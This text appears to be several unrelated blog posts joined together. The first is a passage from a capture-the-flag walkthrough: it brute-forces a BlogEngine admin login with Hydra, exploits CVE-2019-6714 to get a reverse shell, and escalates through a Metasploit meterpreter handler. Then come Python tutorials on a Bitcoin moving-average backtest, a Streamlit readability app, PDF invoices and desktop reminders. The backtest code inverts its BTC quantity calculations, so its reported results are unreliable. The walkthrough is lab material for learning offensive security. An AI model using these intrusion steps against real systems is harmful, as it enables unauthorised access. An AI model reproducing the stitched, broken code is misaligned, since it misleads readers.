[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.208.243:80/Account/login.aspx?ReturnURL=%2fadmin:__VIEWSTATE=AQWOT7qT89VUF9tqt9CcJxYj9HZaL2gEIdS%2F7EX6bVPPKSW75bNJUrkMtH5N7ca98BgUSI9lNnsYcwm3aaM37KLFLBXXfrIJxCZma36IBRRCWTCZe%2BXoBJOFbJnGnQrGbrZEr6acimyj5ZwEGf0OAuAfc1xWkJ0%2BrszOq1MNzhtok7qDPJ%2FZf5IAVBD%2Fmt6iBA4TSBv7cqegT%2FppXiEqxwlcrI7XTwCbqAKYhdIDyM1QMY5TTAMFdbntYPdEDoR3x2ZK1mmM3TAS03J1Y4d%2BkOZWGvuEzbpD2FK8oRD7V9FxyizlIyxKK6egJMLHkF8wLekBf2kxBLX0l64Dbb68YbWyGVmNi6bt%2BqH02JOxtv6pPXlY&__EVENTVALIDATION=E2cc8lwr7Dt6tUQcOjjl5fktG5y5DFErZ%2F%2FA5fVpnOdEG3r6M5vBCXiCPZMX9Z%2F%2B3sFhi58t3fO73JqPN4XtBRJLOgWcMqZRv1vvAb7Up1ElProlDH2kPYAUjONCs76hrlMAsAdWSPId8TAgEByU6Ag3pmhDpmlWP6cNFkjswMWLxUIz&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed
[STATUS] 663.00 tries/min, 663 tries in 00:01h, 14343735 to do in 360:35h, 16 active
[80][http-post-form] host: 10.10.208.243 login: admin password: 1qaz2wsx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-08 18:03:43
INITIAL FOOTHOLD
Now we can log in with the user:password combo admin:1qaz2wsx
We are shown an admin dashboard. Searching up blogengine in exploits-db.com reveals a possible exploit for us to use: (CVE-2019-6714).
To use the exploit, we need to upload the exploit’s payload (PostView.ascx) through the file manager. We can then trigger it by accessing the following address in our browser:
http://10.10.172.59/?theme=../../App_Data/files
And we should then be able to catch the revshell with a netcat listener.
PREPARE THE PAYLOAD
We need to change the IP and ports (in bold below) in the following payload, and then save it as PostView.ascx
Next, let’s spin up a netcat listener with the command:
nc -lnvp 8888
TRIGGER THE REV SHELL
Now that our malicious payload is uploaded and our netcat listener is activated, all we have to do is navigate to the following address, and we should catch the reverse shell as planned.
http://10.10.172.59/?theme=../../App_Data/files
And … bingo! We’ve caught the revshell and we are in with our initial foothold!
UPGRADE THE SHELL TO METERPRETER
Now that we are in the shell, we can work to upgrade our shell to a meterpreter shell. This will allow us to use many powerful tools within metasploit framework.
We’ll use python3 to spin up a simple HTTP server that can help us serve the reverse meterpreter shell payload file to the windows machine.
Notice that we save the file in the Temp directory because we have to write permissions there. This is a common configuration that can be leveraged as an unprivileged user.
CATCH THE METERPRETER SHELL WITH METASPLOIT
First, let’s fire up Metasploit console:
msfconsole
Then load the handler:
use exploit/multi/handler
Next, we need to set the lport, lhost, and set the payload to windows/meterpreter/reverse_tcp
Now that everything is set up correctly, we can run it to boot up the meterpreter listener:
Run
activate the shell.exe on the target machine to throw a meterpreter revshell
And we got it! The lower left console window shows the meterpreter shell.
Now that we are running a meterpreter shell in msfconsole we can quickly pwn the system with:
getsystem
And view the system information:
sysinfo
We can view our user information with the command:
getuid
Since we are already NT Authority, thanks to the magical powers of Metasploit, we don’t need to do anything else except locate and retrieve the two flags.
We found both flags!
In the next post, I’ll walk you through an alternate solution to this box without needing Metasploit.
I’ve always wondered if a slow and high-level trading strategy focusing on long-term trends could outperform a buy-and-hold strategy.
To answer this question, I created a Python script that would utilize a momentum-based strategy to tell me when to buy and when to sell Bitcoin.
Despite my busy life and doubts that day trading would be a successful venture, I was eager to find out if this simple program could beat the market. I can run the Python code daily to decide whether to buy or sell BTC.
What would have happened if I had used the following strategy between the turbulent years 2020 and 2022 in Bitcoin? Read on to find out!
General Idea
The idea of this algorithm is to allow traders to automate their Bitcoin trading decisions using two moving averages.
The algorithm will enter buy positions when the shorter-term moving average (MA1) is higher than the longer-term moving average (MA2) indicating a positive momentum of the Bitcoin price, and enter sell positions when the shorter-term moving average is lower than the longer-term moving average indicating a negative momentum of the Bitcoin price.
When the moving averages cross, the algorithm will close any existing positions and reverse the trading direction.
Algorithm Steps
My strategy follows these simple steps:
Initialize two moving averages, MA1 and MA2, with different lookback periods.
Calculate the current value of each moving average.
If MA1 > MA2, enter a buy position in the Bitcoin market.
If MA1 < MA2, enter a sell position in the Bitcoin market.
Monitor the market for any changes in the moving averages.
When the moving averages cross, close any existing positions and reverse the trading direction (buy if previously selling, sell if previously buying).
Repeat steps 2 to 6.
Python Program to Automate It
The following program implements these steps in practice by pulling the Bitcoin price data from an online API, calculating the moving averages (short- and long-term), and trading based on whether the short-term MA is below or above the long-term MA.
I’ll explain the code in a minute!
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import requests # Get Bitcoin Price Data
URL = 'https://www.alphavantage.co/query?function=DIGITAL_CURRENCY_DAILY&symbol=BTC&market=USD&apikey=APIKEY'
response = requests.get(URL) data = response.json() daily_data = data["Time Series (Digital Currency Daily)"] # Convert JSON to DataFrame
df = pd.DataFrame(daily_data)
df = df.T # Create two Moving Averages
MA1 = 20
MA2 = 50
df['MA1'] = df['1a. open (USD)'].rolling(MA1).mean()
df['MA2'] = df['1a. open (USD)'].rolling(MA2).mean() # Initialize variables
position = 0
my_usd = 10000
my_btc = 0 print('Initial balance:', str(my_usd), 'USD') # Backtest Algorithm
for i in range(len(df)): # Get price price = float(df['1a. open (USD)'].iloc[i]) # Buy position if df['MA1'].iloc[i] > df['MA2'].iloc[i] and position == 0: position = 1 my_btc = price / my_usd my_usd = 0 print('Buying at', price, 'on', df.index[i]) # Sell position elif df['MA1'].iloc[i] < df['MA2'].iloc[i] and position == 1: position = 0 my_usd = price * my_btc my_btc = 0 print('Selling at', price, 'on', df.index[i]) print('Final balance:', str(my_usd + my_btc * price)) initial_btc = float(df['1a. open (USD)'].iloc[0]) / 10000
value_today = initial_btc * float(df['1a. open (USD)'].iloc[-1])
print('Final balance (buy and hold):', str(value_today))
Code Explanation
This code implements the algorithm described above.
The first portion of the code is getting the daily Bitcoin price data from the API and converting it into a DataFrame.
Next, the code creates two moving averages, MA1 and MA2, based on the open price of Bitcoin. Then, the code initializes the position variable to 0.
The backtest algorithm then runs a loop to iterate through the DataFrame to identify when conditions are met to buy or sell. If the shorter-term MA1 is higher than the longer-term MA2, the code will enter a buy position.
Similarly, if the shorter-term MA1 is lower than the longer-term MA2, the code will enter a sell position. We don’t assume short selling so “selling” on an empty position just means waiting for the next buy opportunity.
Finally, if the MA1 and MA2 cross, the code will close any existing position and reverse the trading direction.
Backtesting the Strategy
Let’s have a look at an example run — note to read this from bottom to top!
Initial balance: 10000 USD
Buying at 20905.58 on 2022-11-07
Selling at 18809.13 on 2022-09-26
Buying at 21826.87 on 2022-09-12
Selling at 19331.28 on 2022-07-13
Buying at 28424.71 on 2022-06-12
Selling at 41941.7 on 2022-03-10
Buying at 42380.87 on 2022-02-07
Selling at 36660.35 on 2022-01-25
Buying at 41566.48 on 2022-01-08
Selling at 57471.35 on 2021-10-12
Buying at 47674.01 on 2021-08-25
Selling at 44572.54 on 2021-08-08
Buying at 40516.28 on 2021-06-15
Selling at 57351.56 on 2021-03-22
Buying at 57641.0 on 2021-03-19
Selling at 56900.74 on 2021-03-17
Buying at 11318.42 on 2020-08-26
Selling at 9538.1 on 2020-07-25
Buying at 9772.44 on 2020-06-10
Selling at 9315.96 on 2020-05-16
Final balance: 14806.674822101442
Final balance (buy and hold): 15095.029852800002
So, you see, in the period between May 2020 and November 2022, trading wouldn’t have been more profitable than simply buying and holding Bitcoin — even when ignoring trading fees and higher tax burden.
And ignoring the fact that Bitcoin has had huge up and down volatility, which should be great for trading. That is — in theory.
I will show you the steps I took to create a readability and grammar checker app using Streamlit. You can use it to improve your programming skills and add to your portfolio.
Info: Streamlit is a popular open-source app framework among data scientists as it’s used for developing and deploying Machine Learning and Data Science web apps in minutes.
As we will see, Streamlit goes beyond turning data scripts into shareable web apps. Programmers use it to create anything within its capabilities. A quiz app, an anagram app, and a currency converter app are some of them.
Project Overview
A readability checker tool provides a quick way to assess the readability of a text and how readers can understand your work. This is especially helpful if you are writing a book or a blog and want to know where you need to work to improve readability for various audiences.
The Python ecosystem consists of third-party libraries and frameworks that support a particular application.
There’s no need to reinvent the wheel, as the heavy lifting is already done for us. Hence with a few libraries coupled with a bit of finishing touch from us, we will get our readability and grammar checker app up and running in no distant time.
Try It! You can check out my app here: click this link to view my app live on Streamlit Cloud.
Prerequisites
This tutorial assumes nothing more than a basic knowledge of Python programming, including functions, if…else, and for loops.
Although I try my best to explain the procedures, I encourage you to wrap your head around the basics because it’s not every step I have to explain. I expect you to have background knowledge already.
Importing Libraries
Before we get started, let’s import the libraries we will be using in this project.
import streamlit as st
import textstat as ts
from pdfminer.high_level import extract_text
from pdfminer.layout import LTTextContainer
from io import StringIO
import docx2txt
import requests
from bs4 import BeautifulSoup as bs
import language_tool_python
Everything above is self-explanatory. We will use textstat to check the readability of a text. We will also use io to extract text from a TXT document. The library anguage_tool_python will help us check spelling and grammar. I will explain other libraries as we proceed.
Our project is a combination of several functions and callback functions we define, which are all linked together to get the job done. So, without further ado, let’s get started.
The Main Function
Our project started with what we call the main() function which contains several options that, when selected, caused the execution of another function.
def main(): mode = st.sidebar.selectbox('Select your option', ['Text', '.pdf', '.txt', '.docx', 'Online']) # a function is called depending on the mode selected if mode == 'Text': text_result() elif mode == '.pdf': upload_pdf() elif mode == '.txt': upload_txt() elif mode == '.docx': upload_docx() else: get_url()
… if __name__ == '__main__': main()
We want to give our app users the option to select what form their document is, whether they want to copy and paste into the textbox or upload an e-book, or even select from a webpage. We call Streamlit to display these options as a sidebar.
At the very last of our script, we set the __name__ variable as __main__ , which is the main() function. This is to ensure it is running as soon as we open Streamlit, and not run when imported into another program.
If our user selects ‘Text’, the text_result() function will execute. The function calls on Streamlit to display a textbox using st.text_area labeled ‘Text Field’, and the placement stored in the text variable will appear in the textbox.
def text_result(): text = 'Your text goes here...' #displaying the textbox where texts will be written box = st.text_area('Text Field', text, height=200) scan = st.button('Scan File') # if button is pressed if scan: # display statistical results st.write('Text Statistics') st.write(readability_checker(box))
The function also calls on Streamlit to insert a button which when pressed causes Streamlit to display readability results using st.write.
The text_result() function sends your texts in the box variable to a callback function, readability_checker() function, and st.write() displays the result.
So what this text_result() does is to accept input and, when prompted, send the input to the readability_checker() function to scan and return results in the form of a dictionary.
That’s all it takes to set up our readability checker app.
Had it been we had only this option in our main function, we would have called it a day. But we want to give our users more options to make a choice. But, the more features we add, the more Python scripts we need to write to execute such features.
PDF Mode
Back to our main() function. if our users select the pdf option, the upload_pdf() function will execute.
def upload_pdf(): file = st.sidebar.file_uploader('Choose a file', type='pdf') if file is not None: pdf = extract_text(file) #sending the text to textbox document_result(pdf)
This function calls Streamlit to produce a file uploader to enable us to upload a PDF file. And when we upload the file, the extract_text() function from pdfminer does the heavy lifting for us. By default, Streamlit accepts all file extensions. By specifying the type, it allows only such.
The Setback
I wanted to make this process as seamless as possible.
What I wanted to do was to call on pdfminer library to extract the text, and send it to the readability_checker() which scans and produces the result that will appear using st.write() without ever seeing the content of the file.
I wasn’t able to do so. Hence, I will appreciate anyone who can reach out to me with a solution to this problem.
A Workaround
I wasn’t deterred, though.
Since there are so many ways to kill a rat, I found a workaround with a little help from Streamlit. I benefited from Streamlit’s ability to display text as a placement in a textbox, as seen in our text_result() function.
So, I created a function like text_result() but with a parameter that will collect the very text extracted from the PDF file and have it displayed in the textbox.
Give me a round of applause. That’s my feat of engineering! Alright, let’s implement it.
def document_result(file): #displaying the textbox where texts will be written box = st.text_area('Text Field', file, height=200) scan = st.button('Scan Text') # if button is pressed if scan: # display statistical results st.write('Text Statistics) st.write(readability_checker(box))
Make sure you are using the latest version of pdfminer installed using PIP as ‘pip install pdfminer.six’.
Alright, we have passed that setback but have our PDF displayed inside the textbox, which is not bad after all.
The only downside comes from the pdfminer library. It takes time to process bulky files. You may want to try other libraries in your project.
When users choose other options in our main() function, the respective functions get executed in the same way using the libraries imported and send to the document_result() function, which, in turn, passes the file to the readability_checker() to scan. Finally, it displays the result.
You may want to check the documentation to know more about the imported libraries that help to extract the files.
The ‘Online’ Option
This option allows our users to check the readability of content found on web pages.
def get_url(): url = st.sidebar.text_input("Paste your url") if url: get_data(url)
As usual, when we select the option, it triggers the execution of the get_url() function.
The get_url() function uses st.sidebar.text_input to provide a small-size box where you can paste your URL. Once you hit the Enter key, it sends the URL to the get_data() function.
If it is successful, it returns the content of the web page. The function then calls the BeautifulSoup library to parse the content in pure HTML form.
Using the get_text() method from BeautifulSoup, the get_data() extracts the content without any HTML tags and sends it to the document_result() function which I have explained before.
The downside of using this option is that it scrapes whatever it sees on the webpage, navigation bar, header, footer, and comments that may not be relevant for readability checking
Grammar Checker
If you have been following along, you will notice, from the above image, another button besides the readability checker button.
That is our grammar checker button. Alright, let me show you how I did it.
I erased it from the Python scripts above, so we can focus on one thing at a time. The below script is now our updated test_result() function.
def text_result(): text = 'Your text goes here...' box = st.text_area('Text Field', text, height=200) left, right = st.columns([5, 1]) scan = left.button('Check Readability') grammar = right.button('Check Gramamar') # if button is pressed if scan: # display statistical results st.write('Text Statistics') st.write(readability_checker(box)) elif grammar: st.write(grammar_checker(box))
Streamlit’s columns() method enables us to display our buttons side by side.
By passing it a list of [5, 1], we specify the position we want the buttons to appear. Also, notice how we used left.button() instead of st.button(). This is because we want to apply the buttons to the position we have specified using the st.columns.
The if statement makes the app look flexible and neat. If we press the grammar checker button, it erases the readability result if it is already there, so it can display the grammar result.
Let us also update the document_result() function.
def document_result(file): box = st.text_area('Text Field', file, height=200) left, right = st.columns([3, .75]) with left: scan = st.button('Check Readability') with right: grammar = st.button('Check Gramamar') # if button is pressed if scan: # display statistical results st.write('Text Statistics') st.write(readability_checker(box)) elif grammar: st.write(grammar_checker(box))
Again, notice another way we use the st.columns to achieve the same result. The ‘with’ notation inserts any element in a specified position. Then comes the grammar_checker() function.
def grammar_checker(text): tool = language_tool_python.LanguageTool('en-US', config={'maxSpellingSuggestions': 1}) check = tool.check(text) result = [] for i in check: result.append(i) result.append(f'Error in text => {text[i.offset : i.offset + i.errorLength]}') result.append(f'Can be replaced with => {i.replacements}') result.append('--------------------------------------') return result
The LanguageTool() function checks grammatical expressions. It comes bundled in language_tool_python module but it’s also used in other programming languages.
To use it, make sure you have Java installed on your system. Once we call and save it in the tool variable, it will download everything necessary to enable your text checked for American English only. The size is 225MB excluding Java.
This is to enable you to use it offline. To use it online, please check the documentation. We added maxSpellingSuggestions to speed up the checking process, especially when dealing with millions of characters.
We appended to the ‘result’ variable to display it when called by the st.write() function. To know more about how to use the language_tool_python module, please consult the documentation.
Deployment
It would be nice to have our new app visible for others with little or no programming knowledge to see and use. Deploying the app makes that possible
If you want to deploy on Streamlit Cloud, it’s very easy. Set up a GitHub account if you have not already done so. Create and upload files to your GitHub repository.
Then, you set up a Streamlit Cloud account. Create a New App and link your GitHub account. Streamlit will do the rest.
Any changes made will reflect in the app. To avoid encountering errors while deploying your app, go to my GitHub page and observe other files I included to enable easy deployment on Streamlit Cloud.
Conclusion
This is how we come to the end of this tutorial on how I built a readability and grammar checker app using Streamlit.
I explained it in a way you can understand. You can visit my GitHub page to view the full project. Also, click this link to view my app live on Streamlit Cloud. Alright, that’s it. Go on, give it a try and create awesome apps.
Being self-employed personnel means I regularly need to generate Invoices for my clients to receive the payments. Now, this is a manual task that I have to perform using excel sheets and then convert them into PDFs. That is why I came up with a script that would automate the entire task for me.
Thus, in this mini project, I will demonstrate how I generate PDF invoices that I send to my clients using a simple Python script that uses the InvoiceGenerator API.
InvoiceGenerator is a Python library that is specifically designed to generate simple invoices. Presently, it supports invoice generation in PDF and XML formats. The PDF invoice generation is based on ReportLab.
Installation
To install the InvoiceGenerator library, open your terminal and run the following command –
pip install InvoiceGenerator
In case you want to upgrade to a new version, then use the --upgrade flag.
pip install InvoiceGenerator – upgrade
Read more about this library and how to use the API here.
Once you have installed the library, go ahead and import it into your script. You also need to import the os module along with the necessary modules within the InvoiceGenerator library. Here’s a quick look at the necessary modules that we will need in our code –
import os
from InvoiceGenerator.api import Invoice, Item, Client, Provider, Creator
from InvoiceGenerator.pdf import SimpleInvoice
Import Invoice, Item, Client, Provider and Creator from InvoiceGenerator.API.
Also, import SimpleInvoice from InvoiceGenerator.PDF.
Finally, import os for performing OS-related activities.
Step 2: Create the Automated PDF Invoice
The next step is to create an automated PDF using the InvoiceGenerator API.
Code:
os.environ["INVOICE_LANG"] = "en"
client = Client('Finxter')
provider = Provider('Shubham Sayon Consultancy Services', bank_account='XXX-XXXX-XXXXX', bank_code='2021')
creator = Creator('Shubham Sayon')
invoice = Invoice(client, provider, creator)
number_of_items = int(input("Enter the number of Items: "))
for i in range(number_of_items): units = int(input(f"Enter the number of units for item no.{i+1}: ")) price_per_unit = int(input(f"Enter the price per unit of item no.{i+1}: ")) description = input("Enter the name of item/product: ") invoice.add_item(Item(units, price_per_unit, description=description)) invoice.currency = "$"
invoice.number = "10393069"
document = SimpleInvoice(invoice)
document.gen("invoice.pdf", generate_qr_code=True)
Explanation:
We will first set the document environment language. In my case, I have set it to “English”.
We then need to set the mandatory details like the client, provider and creator. The client details can be set using the Client object. Similarly, to set the provider, use the Provider object. I have set the provider name and the bank details within the Provider object.
Next, create the invoice object that will allow us to generate the numerous features within the bill.
I have then used an input() function to allow the user to enter the total number of items he/she wants to include in the bill.
Once the user enters the number of items, this can be used a range of create a for loop within which we can ask the user to enter further details like the number of units for each item, the price per unit of each item and the description of each item.
All these details can then be implemented within the invoice PDF using the item.add_item() method.
You can further specify
The currency of transaction using invoice.currency,
The invoice number using invoice.number
Finally, generate the invoice PDF with the help of the SimpleInvoice objects gen method. To generate a QR code within the PDF use the generate_qr_code object.
Putting it All Together
Let’s put it all together to visualize how the entire script works –
import os
from InvoiceGenerator.api import Invoice, Item, Client, Provider, Creator
from InvoiceGenerator.pdf import SimpleInvoice os.environ["INVOICE_LANG"] = "en"
client = Client('Finxter')
provider = Provider('Shubham Sayon Consultancy Services', bank_account='XXX-XXXX-XXXXX', bank_code='2021')
creator = Creator('Shubham Sayon')
invoice = Invoice(client, provider, creator)
number_of_items = int(input("Enter the number of Items: "))
for i in range(number_of_items): units = int(input(f"Enter the number of units for item no.{i+1}: ")) price_per_unit = int(input(f"Enter the price per unit of item no.{i+1}: ")) description = input("Enter the name of item/product: ") invoice.add_item(Item(units, price_per_unit, description=description)) invoice.currency = "$"
invoice.number = "10393069"
document = SimpleInvoice(invoice)
document.gen("invoice.pdf", generate_qr_code=True)
That’s it! As simple as that and when you execute the code it will generate the invoice PDF within your project folder conataining all the details mentioned by you.
Conclusion
Hurrah! We have successfully created an automation script that allows us to generate our customized PDF that also has a QR code embedded within it. Isn’t this extremely handy and useful!?
With that, we come to the end of this project. I hope this project added some value and helped you in your coding quest. Stay tuned and subscribe for more interesting projects and tutorials.
Do you love automating tasks with Python? Well! I do. And if you are someone who likes automation, then here’s a list of a few mini projects that will get you going –
Today while working on my Python code, I suddenly realized that it’s been two hours since I have been trying to solve the bug. I was constantly looking at the screen for two hours without even realizing to take a break or drink a glass drink water. That is when I thought of creating a script that would automate my daily routine with desktop notifications. I thought of creating a script that will generate a notification after certain time intervals for the following:
Drink 1 glass of water ( notify after every 1 hr)
Take a break from work (after every 1 hr )
Restart work ( after 10 mins of 2nd notification)
Medicine Notification at 10 PM every day
Take backup and end work ( at 8 PM ) every day
Therefore, in this project, we will be learning how to automate the daily routine using desktop popup notifications. So, without further delay, let’s dive into the steps to complete our project.
Step 1: Install and Import the Necessary Libraries
The two important libraries we need in this project are win10toast and schedule. The win10toast module is used to create the desktop notifications. It notifies us when any event occurs. Since it is not a built-in Python library, therefore you need to install it using PIP. Open your terminal and type the following command –
pip install win10toast
Once you have installed the win10toast module, go ahead and install the schedule library as follows:
pip install schedule
Schedule Library helps us to schedule a task at a particular time every day or even on a particular day. It matches our system’s time to the scheduled time set and then calls the command function. You will also need the help of the time module while scheduling the tasks. So, make sure that you also import the time module in your script.
import win10toast
import schedule import time
Step 2: Creating Notifications
I used the ToastNotifier class from the win10toast module to create an object and the method show_toast to create a notification. The following code will generate a notification that will stay on the screen for 10 seconds.
noti = win10toast.ToastNotifier()
noti.show_toast("Demo", "You will get a notification", duration = 10)
Explanation: The first argument in the show_toast method is the header of the notification and the second argument is the message that you want to display within the notification window. The duration (mentioned in seconds) specifies how long the notification will remain on the desktop screen before disappearing.
Step 3: Scheduling the Tasks
Code:
schedule.every().hour.do(water)
schedule.every().hour.do(take_break)
schedule.every(10).to(15).minutes.do(work)
schedule.every().day.at("22:00").do(medicine)
schedule.every().day.at("20:00").do(backup)
while True: schedule.run_pending() time.sleep(1)
Explanation: As we need to generate the notifications after certain time intervals we would use the schedule module that will schedule the tasks as per the given/required intervals. We will also use the sleep method from the time module, to let the next line of code execute after some time specified in seconds.
Step 4: Creating the Task Functions
Next, I created different functions that will perform different tasks when called. The function to remind me to:
Drink a glass of water every 1 hour is as follows:
def water(): noti.show_toast('Time to drink water!', duration= 10)
Take a break from work (after every 1 hr )
def take_break(): noti.show_toast('You have been working since one hour. Time to take a break', duration= 10)
Restart work ( after 10 mins of 2nd notification)
def work(): noti.show_toast('Restart your work', duration= 10)
Medicine Notification at 10 PM every day
def medicine(): noti.show_toast('Time to take the medicine', duration= 15)
Take backup and end work ( at 8 PM ) every day
def backup(): noti.show_toast('Take backup and end work', duration= 15)
Putting it All Together
Now let’s put it all together to visualize how the entire script works :
import win10toast
import schedule import time noti = win10toast.ToastNotifier() def water(): noti.show_toast('Time to drink water!', duration= 10) def take_break(): noti.show_toast('You have been working since one hour. Time to take a break', duration= 10) def work(): noti.show_toast('Restart your work', duration= 10) def medicine(): noti.show_toast('Time to take the medicine', duration= 15) def backup(): noti.show_toast('Take backup and end work', duration= 15) schedule.every().hour.do(water)
schedule.every().hour.do(take_break)
schedule.every(10).to(15).minutes.do(work)
schedule.every().day.at("22:00").do(medicine)
schedule.every().day.at("20:00").do(backup) while True: schedule.run_pending() time.sleep(1)
Conclusion
There we go! We have successfully created a wonderful automated script that will generate notifications for us, giving us prompts at certain intervals to organize our work and daily routine. I hope this project added some value and helped you in your coding quest. Stay tuned and subscribe for more interesting projects and tutorials.
Do you love automating tasks with Python? Well! I do. And if you are someone who likes automation then here’s a list of few mini projects that will get you going –
Recommended: Python Install Library Guide
Required:
Recommended Tutorial: 
